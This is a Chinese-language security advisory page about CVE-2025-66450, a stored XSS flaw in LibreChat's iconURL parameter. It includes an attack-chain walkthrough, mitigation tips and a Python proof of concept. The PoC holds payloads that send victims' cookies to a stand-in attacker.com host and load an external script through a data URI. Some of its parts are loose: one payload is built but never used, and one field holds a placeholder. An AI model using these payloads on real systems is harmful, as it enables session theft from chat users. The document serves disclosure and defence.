IPBUF安全漏洞报告
English
CVE-2025-66450 CVSS 5.4 中危

CVE-2025-66450 LibreChat iconURL参数存储型XSS漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-66450
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
LibreChat

相关标签

存储型XSSLibreChat隐私泄露iconURL注入CVE-2025-66450跨站脚本会话窃取

漏洞概述

LibreChat是一款开源的ChatGPT克隆项目,具有额外的增强功能。该漏洞影响LibreChat 0.8.0及以下版本。漏洞根源在于用户发布问题时,POST请求中的iconURL参数缺乏有效的输入验证和输出编码。攻击者可以通过修改该参数注入恶意代码,这些代码会被永久存储在聊天记录中。当其他用户查看或分享包含恶意代码的聊天时,攻击者可以加载外部追踪资源,窃取用户隐私信息。此漏洞属于存储型XSS(Stored XSS),攻击代码持久化在服务器端,所有访问该聊天记录的用户都会受到攻击影响。攻击者利用聊天分享功能传播恶意链接,形成社交工程攻击链,严重威胁用户隐私安全。

技术细节

漏洞存在于LibreChat的消息发布接口。当用户通过POST请求发送消息时,iconURL参数被直接接收并存储到数据库,未经过滤或转义处理。攻击者构造包含恶意JavaScript代码的iconURL,如嵌入外部追踪脚本的URL或javascript:伪协议。恶意代码随聊天记录持久化存储,当受害者查看该聊天或通过链接访问时,浏览器会执行这些脚本。攻击者可利用此漏洞实现:1)窃取用户会话cookie和认证令牌;2)获取受害者IP地址、浏览器指纹等隐私信息;3)重定向用户到钓鱼页面;4)在受害者不知情的情况下执行任意JavaScript代码。漏洞的利用无需高权限,普通注册用户即可发起攻击,且攻击具有隐蔽性,因为恶意代码仅在特定聊天记录中触发。

攻击链分析

STEP 1
步骤1
攻击者注册LibreChat账户并登录,获取有效的用户认证令牌
STEP 2
步骤2
构造包含恶意代码的iconURL参数,可以是指向外部追踪脚本的URL或包含JavaScript的data URI
STEP 3
步骤3
通过POST请求发送消息,将恶意iconURL与正常消息内容一起提交到服务器
STEP 4
步骤4
服务器未对iconURL进行输入验证和输出编码,直接将恶意代码存储到数据库
STEP 5
步骤5
攻击者通过社交工程手段诱导受害者访问或分享包含恶意代码的聊天记录链接
STEP 6
步骤6
受害者查看聊天时,浏览器解析并执行iconURL中的恶意JavaScript代码
STEP 7
步骤7
恶意脚本窃取受害者的cookie、会话信息、IP地址等隐私数据,并发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66450 PoC - LibreChat Stored XSS via iconURL # Target: LibreChat <= 0.8.0 TARGET_URL = "http://target-server/api/messages/send" ATTACKER_CONTROLLED_URL = "https://attacker.com/tracker.js" def exploit_stored_xss(target_url, attacker_url): """ Exploit Stored XSS in iconURL parameter This PoC demonstrates how to inject malicious tracker via iconURL """ # Malicious payload - steals victim info when chat is viewed malicious_payload = f''' <img src=x onerror=" fetch('https://attacker.com/log?cookie='+document.cookie+'&url='+window.location.href) "> ''' # Alternative payload using iconURL to load external script # This script will execute when victim views the chat payload_data = { "text": "Check out this chat!", "iconURL": f"data:text/html,<script src={attacker_url}></script>", "conversationId": " victim's conversation" } headers = { "Content-Type": "application/json", "Authorization": "Bearer <user_token>" } print(f"[*] Sending malicious payload to {target_url}") print(f"[*] Payload: {json.dumps(payload_data, indent=2)}") try: response = requests.post(target_url, json=payload_data, headers=headers) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Malicious chat created successfully") print("[*] When victim views this chat, tracker.js will be loaded") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_stored_xss(TARGET_URL, ATTACKER_CONTROLLED_URL)

影响范围

LibreChat <= 0.8.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1)禁用聊天分享功能或限制分享范围;2)在Web应用防火墙(WAF)层面添加iconURL参数过滤规则,阻断包含javascript:、data:等危险协议的请求;3)启用HTTP安全响应头如Content-Security-Policy限制脚本执行;4)监控异常的消息发送模式,及时发现可疑攻击行为;5)提醒用户不要点击来源不明的聊天分享链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表